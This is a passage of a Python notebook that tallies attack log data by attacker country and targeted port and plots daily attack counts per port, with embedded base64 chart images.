QFJYk65njGGRtay12lO2Q9Xj7I9mj\n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       "text": [
        "<matplotlib.figure.Figure at 0x108ad4bd0>"
       ]
      }
     ],
     "prompt_number": 41
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Most attacks across from country location, sorted highest to lowest."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df['attackerCountry'].value_counts()[:20]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 17,
       "text": [
        "China                    795\n",
        "United States            737\n",
        "United Kingdom           544\n",
        "Germany                  428\n",
        "Russian Federation       115\n",
        "Brazil                   111\n",
        "Venezuela                 99\n",
        "Palestinian Territory     93\n",
        "Taiwan                    92\n",
        "India                     81\n",
        "France                    69\n",
        "Vietnam                   61\n",
        "Romania                   58\n",
        "Korea, Republic of        57\n",
        "Mexico                    47\n",
        "Italy                     46\n",
        "Netherlands               46\n",
        "Bulgaria                  44\n",
        "Hong Kong                 44\n",
        "Thailand                  39\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 17
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "List of the most attacked ports and the number of events on those ports."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df['allattackedPorts'].value_counts()[:20]"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 18,
       "text": [
        "445      1684\n",
        "5060     1480\n",
        "22        584\n",
        "1433      234\n",
        "3306       87\n",
        "21         36\n",
        "80         26\n",
        "135         7\n",
        "60000       2\n",
        "37143       1\n",
        "53615       1\n",
        "45523       1\n",
        "37419       1\n",
        "37911       1\n",
        "58181       1\n",
        "58225       1\n",
        "54187       1\n",
        "56242       1\n",
        "40142       1\n",
        "40062       1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 18
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Most Attacked Port numbers 10000 or <"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from matplotlib import pyplot as plt\n",
      "mpl.style.use('ggplot')\n",
      "fig = plt.figure(figsize=(16, 8))\n",
      "fig.suptitle('EU Region - Events on ports numbered 10000 or <', fontsize=20)\n",
      "attacker_df['allattackedPorts'] = attacker_df['allattackedPorts'].astype(int)\n",
      "for port in attacker_df['allattackedPorts'].value_counts()[:20].index:\n",
      "    if port < 10000:\n",
      "        plt.plot(attacker_df[attacker_df == port]['allattackedPorts'].resample(\"D\", how='count'), label=str(port), linewidth=4)\n",
      "plt.xlabel('Day Number')\n",
      "plt.ylabel('Number of Attacks')\n",
      "plt.legend(title=\"Port Number\",bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    \n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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EwIEDRb169YSlpaVo2LCh6NSpk5g1a5aIjY3VqStJkujRo4fB45T2np0+fVr0\n6tVLODo6CoVCIRQKhTh06JBIS0sTc+fOFT179hTu7u5CqVQKNzc30aNHD7Fp06ZyvFP3lz2cOHGi\naNy4sbC0tBR169YVQ4cOFWfOnNGr+6A28rBrLKl4Wzh+/Ljo3bu3cHBwEA4ODuKZZ54xeH4hhEhL\nSxPvvPOO8PHxEUqlUjg7O4u+ffuKffv2PfAcpcnOzhYTJ04UHh4ewtzcXKdtbNmyRbzwwgvCx8dH\n2NnZCQcHB9GyZUvxwQcfiHv37pX7Og3x8vIyuKxqUlKSGDVqlHBxcRHW1taiY8eO4tdffxUHDx40\neDxtmzfkQffknDlz5HalpV3WdPz48eLSpUti8ODBwtnZWdja2oqnn35a7N27t9TrNdY9oXX+/HkR\nEhIiGjduLJRKpXB1dRUtW7YUEyZMEAcOHNCrHxUVJfr16yfs7e2Fvb296NOnjzhx4oTB63yY4v9f\naO+/4q8N3Qc5OTniww8/lNtnvXr1xMiRI8U///xT6nmSkpLE+PHjRcOGDYWlpaXw8vISYWFhIi0t\nrdR9jh07JgYMGCCcnZ2FtbW1aNWqlVi0aJEoKioqdZ/Vq1eLDh06CFtbW+Hg4CCCgoLE7t27y/x+\naBn7HjQmQ0t/ExGRLkkIDqIjouorPj4efn5+eOGFF7Bhw4aqDodqqYMHD6Jnz56YM2cOPvzww6oO\nh4iIiKhW4BwWRFQt/Pvvv3rLsebk5ODNN98EgEqfm4CIiIiIiKoXzmFBRNXCwoUL8eOPP6JHjx5o\n0KABbt++jf379+PmzZsYMGBAmZa+JCIiIiKimoMJCyKqFvr27Yu///4be/fuRUpKCiwsLODr64s3\n33xT7mVBRERERES1B+ewICIiIiIiIqJqh3NYEBEREREREVG1w4QFEREREREREVU7TFgQERERERER\nUbXDhAURERERERERVTtMWBARERERERFRtcOEBRERERERERFVO0xYEBEREREREVG1w4QFERERERER\nEVU7TFgQERERERERUbXDhAURERERERERVTtMWBARERERERFRtcOEBRERERERERFVO0xYEBERERER\nEVG1w4QFEREREREREVU7TFgQERERERERUbXDhAURERERERERVTtMWBARERERERFRtcOEBRERERER\n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\nEVHVMMmypgUF